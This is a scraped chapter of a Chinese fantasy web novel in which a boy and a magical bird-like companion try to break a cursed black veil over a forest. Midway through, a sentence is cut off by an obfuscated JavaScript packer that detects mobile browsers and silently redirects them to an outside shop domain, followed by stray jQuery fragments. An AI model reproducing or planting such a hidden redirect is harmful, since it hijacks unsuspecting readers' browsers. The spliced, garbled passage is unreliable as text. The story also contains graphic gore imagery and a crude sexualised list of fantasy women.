文趣网 > 都市小说 > 这就是我的冒险 > 3. 分离
    “哈,爽!刺激!”

    莫里面色发白,紧紧抱着树干,稍微低下头,脚下密密麻麻的黑点儿,它们忽大忽小,忽远忽近地出现在莫里脑海里,而自己摇摇欲坠,从这摔下去肯定会粉身碎骨,血肉模糊,最终成为一摊烂泥,被扫进垃圾桶里。

    莫里赶紧打断了这方面的联想,目视前方。

    “艾尔文,这上面有什么吗?”

    “你在右边啊,哈哈,我以为你在这呢,这,这不是害怕!”莫里抱着树干,耳朵一红。

    从这里眺望,能发现远处还是树木,但艾尔文说他们已经来到了林地的边缘。

    艾尔文趴在莫里的脑袋上,闭目养神了起来。

    【链接成功】

    莫里的脑海里突然出现了一道声音。

    只见原本是树木的地方消失了,只留下一片漆黑,那片漆黑里还闪烁着邪恶的符文,顺着向上看,原来是一块巨大的黑色幕布笼罩在整片林地上。

    空气里弥漫着腐败的气息,又像是几十年没洗澡的人用腋下夹着他发黄发黑的硬直白丝混着些弯曲的毛发塞进嘴里的味道。

    隐约中听见野兽的嘶吼声,地底深处传来沙沙声,拖拽、碾碎、撕扯、咀嚼,它们无一不向莫里传达着危险的信号。

    这块黑色幕布更是如水一般的流动着,幽深且俱寂,盯着它,就仿佛看到了另一个自己,翻转着,扭曲着。

    黑暗中的自己伸长着脖子,一只手直戳上眼睑,向下拉,挤压着眼球,噗滋一声,黑珍珠爆开了。

    另一只手直接撕开了肚皮,猩红的肠子散落一地,“我”随意地抓起它,蜷曲着身体,像打包礼品盒一样在脖子处系了个蝴蝶结。

    胃里一阵翻江倒海,恶心的感觉直达脑门。

    莫里咬紧牙关,指甲深深刺入树干,入木三分。

    唯有疼痛才能给他带来些许真实感。

    头顶传来些许凉意,莫里渐渐冷静了下来。

    圣殿,知识殿堂,大学士盖尔加朵及弟子索尔瓦德。

    “老师,这是什么,怎会出现在圣殿里?”年轻的神甫指着羊皮卷上黑漆漆的一面。

    “那是悲叹之河,又名世界之伤。第三纪元末期,天空下起了黑色大雨,下了整整十天十夜,原本荒芜的土地焕发生机,枯木抽出新枝。

    法师们跑去研究,却惊讶地发现它没有实体,就像幻影一样。在好奇心的驱使下,他们用魔力进一步研究。

    就在这时各地的神职人员接到大神官和祭司长的命令,严厉禁止人们接触,据说最早进行研究的人已经疯魔,被关在圣殿里。

    当时的圣女带着神器“圣彼萨斯之歌”和圣殿骑士们出发,对,就是你想的那件失落的神器。

    没过多久圣殿发现圣女的生命之焰停止了跳动,她们的名字也已模糊,只知道有着这样一支队伍,而悲叹之河也消失了,才过了几千年,人们就已经遗忘了。”盖尔加朵感慨道。

    “那为什么要称呼它为悲叹之河,世界之伤,圣殿的命名一般不会出错,它们之间是有着什么关联吗,老师。”

    “当年我也是这么问我的老师,但我的老师,只说了一句罪过,神情复杂的不愿多说了。”

    “说不定就是那些法师作死,整天研究些危险的东西,引来了灾祸,还要我们给他擦屁股,我说就应该把他们全部派去前线。”

    “小子,你是教皇吗,指指点点,我带你来是搜集资料的,教皇大人可是亲自吩咐,生命禁地发生了异动,还不快去找!!!”盖尔加朵眯起眼睛威胁道。

    “是!老师!对教皇忠诚!”索尔瓦德立马立正行礼,跑去翻看生命禁地的记录。

    “这小子……”盖尔加朵摇了摇头。

    雾凇之地,外围。

    “哈-哈-

    谢了,艾尔文,没有你我可怎么活。”

    莫里急促地呼吸道。

    回应他的是悦耳的鸟鸣,这使得莫里安心了下来。

    符文和幕布在他的脑海里熠熠生辉,心底传来声音。

    破坏它们,只要破坏它们,我就可以出去了,去看看美好的世界了,去冒险,去学习魔法,去成为英雄。

    美食,女人,金钱,力量,这些都是我的,风吟花蜜卷、龙脊炙烤排,我全都要,十个婆凉够不够,不,我要找一百个婆凉。

    傲娇白发血瞳吸血合法萝莉,大波贝壳歌谣温软魅惑人鱼,英挺金发高傲烈火刺激龙人,清冷出尘害羞娇小敏捷精灵,圣洁纯净距离光环知性……

    “哈秋——”

    嗯?我刚刚在想什么,莫里大惊失色。

    虚空里传来啧声,声音尚未传开,虚空里便下起了雪,眨眼间冰晶爆开,充斥着整片空间。

    凛冽的寒风封锁着那片区域,一丝一毫的波动都休想瞒过它的眼睛,寒气顺着冥冥之中的联系,好似附骨之疽一般缠绕着发出声音的主人。

    地底发出一声巨大的咆哮,疯子!!!

    “艾尔文,你有听到什么声音吗?”莫里有些不安,警戒地看了看四周。

    艾尔文从莫里的头顶飞了下来,眨巴眨巴眼,蹭了蹭莫里通红的脸颊。

    然后抓起莫里的衣领,向下飞。

    “啊啊啊——不要啊——唉唉?”

    这次莫里感到奇怪,他竟然没有失重感。

    莫里偷偷地眯起一只眼向下看,脚底筑起了浮空的冰层。

    回到最初的起点。

    银月高悬,温柔的月光眷顾着每一个孩子,好似母亲轻声唱着摇篮曲。

    睡吧,睡吧,我亲爱的……

    “我们该怎么出去啊,这里好危险啊。”

    莫里躺在地上,伸手触碰着月光,喃喃自语道。

    符文、黑幕,它们连接在一起,就像,就像一张网。

    莫里回忆着。

    只要我破坏一个节点,不说能把整个网撕烂,那也有了个漏洞。

    然后我顺着这个漏洞,那我和艾尔文就一定能出去!

    月光亲吻着莫里的额头,莫里有些疲倦,困顿。

    看了一眼身侧醒着的艾尔文,莫里陷入了梦乡。

    “晚安。”

    梦里他放下了沉重的心情,和朋友们嬉戏打闹,快乐玩耍,遨游天地,玩得不亦乐乎,忘记了时间。

    临近,朋友们和他告别,说会再次相遇的。

    “唔——”是个好梦,今天又是元气满满的一天!

    莫里心想。

    “早,艾尔文!”莫里使用寒冰吐息,缓缓地吹向艾尔文,把自己和它用雾气包裹着。

    做了个全身清洗,爽。

    自从学会了寒冰吐息这个技能,这成为了他每天的日常。

    他回忆着昨天看到的符文,在地上刻画着一小部分。

    这个部位要弯曲,这里是鸟形,这个部分要和它链接在一起。

    嗯,这里,这里是什么来着。莫里一时有些束手无策。

    见状,艾尔文飞到莫里的头顶,闭目养神了起来。

    【链接成功】

    世界再次变换了形状。

    “等下,我记得这里的符号不是猴形!”莫里瞪大了眼睛。

    莫里清楚地记得昨天看到的是狼形符号,因为这是他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512013|203038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    差点吐了的地方,莫里印象十分深刻。

    莫里皱起眉头,难道这里的符文会动?

    想了想黑幕它流动的身体,他一直盯着前方,没过一会儿,符文变了。

    一直盯着黑幕,莫里心底泛起了恶心,眼前出现了重重叠叠的幻象。

    莫里双手伸过头顶,举起了艾尔文,

    举起、放下,举起、放下……

    【链接【链接【链接……】

    艾尔文,闭上眼睛,任由着莫里。

    “隆隆隆——”

    “地震了?”莫里捧着鸟雀,快速跑向空旷的地方。

    地面剧烈晃动,冰晶从下往上在裂纹处蔓延开。

    艾尔文眨巴眼望着莫里,冰蓝色的瞳孔下是一片纯净。

    真可爱!莫里心想。

    只有它能听到的声音,疯子!!!别搞我了,我可以送他离开这里!

    白天莫里记忆着黑幕上的符文,晚上再将它们排列组合。

    时光搭载在火车上,一去不复返。

    “你看,艾尔文,它怎么还在变!”莫里用他日渐消瘦的手指指着地面上密密麻麻的符文。

    死亡如闻到血腥味的鲨鱼,追赶着莫里。

    这天夜里,莫里的呼吸越发微弱,他的生命好似风中残烛。

    艾尔文慌了神,这些天它使用了圣光、冰封、盐化等能力。但这都只能暂停,减缓莫里生命的流逝。

    “看吧,你还是需要我的,必须把这个小家伙送出去了,不然他会死。”

    一道黑影出现在莫里身旁,习惯性地靠在一边,惆怅地看了自己的手。

    即使这么多年过去,他依然记得生命在他手中跳动的美妙滋味。

    “叽叽!”

    “你说什么,我听不懂,啧,这应该就是你背负的诅咒。”

    不死君王,不灭的活化石皱眉道。

    “在我看来你就是个怪物、疯子,真让大陆的那群人看看,你可比我危险多了。”

    不死君王看着眼前巨大的,浑身如盐构成,后背长着血色眼睛,蓝色冰髓缠绕着它的头环,嘴里吐着污秽混乱的言语的怪物,如此说道。

    “决定吧,解开你给我施加的寒意侵蚀,该死真麻烦,我能送他出去。”

    巨大的盐怪物宛若未闻,一把吞噬了渺小的人类,月亮不忍直视,遮住了自己的眼睛。

    向前冲锋,一次二次……无数次,树木被撞的七歪八倒,被撞几次后,它们长起了脚,躲着艾尔文。

    树林里吹来细风,好似咒骂。

    “别做无用功了,我们俩做了这么多年的邻居,你应该知道我们都出不去,而他不一样,他是外来者,你能感受到的吧,他没有那层限制,不然我早就离开了,光凭这个可困不住我。”

    不死君王不屑地看着黑幕。

    它停了下来了,驻足许久。

    “嗥——”

    巨大的盐兽仰天嘶吼,破天的冰矛从它背后显现,携带着圣光,汇力一击黑幕中最薄弱的地方。

    黑幕碎了。

    不死君王对此感到诧异。

    艾尔文吐出了莫里,悲伤的看着他,在他怀里依偎了一会儿,抓起他的衣领,冰晶在空中化作滑梯,终点是它不可踏足之地,松开,又死死抓紧,再颤巍巍地松开。

    就仿佛放弃了什么重要的事,它转过身,散开成盐晶,依附于莫里写出的符文。

    沉睡。

    月光撒下,地面上好似人鱼落下的漫天泪珠,银月赐予了它美丽的梦。

    这次它不会拒绝。

    “艾尔文,你来啦!”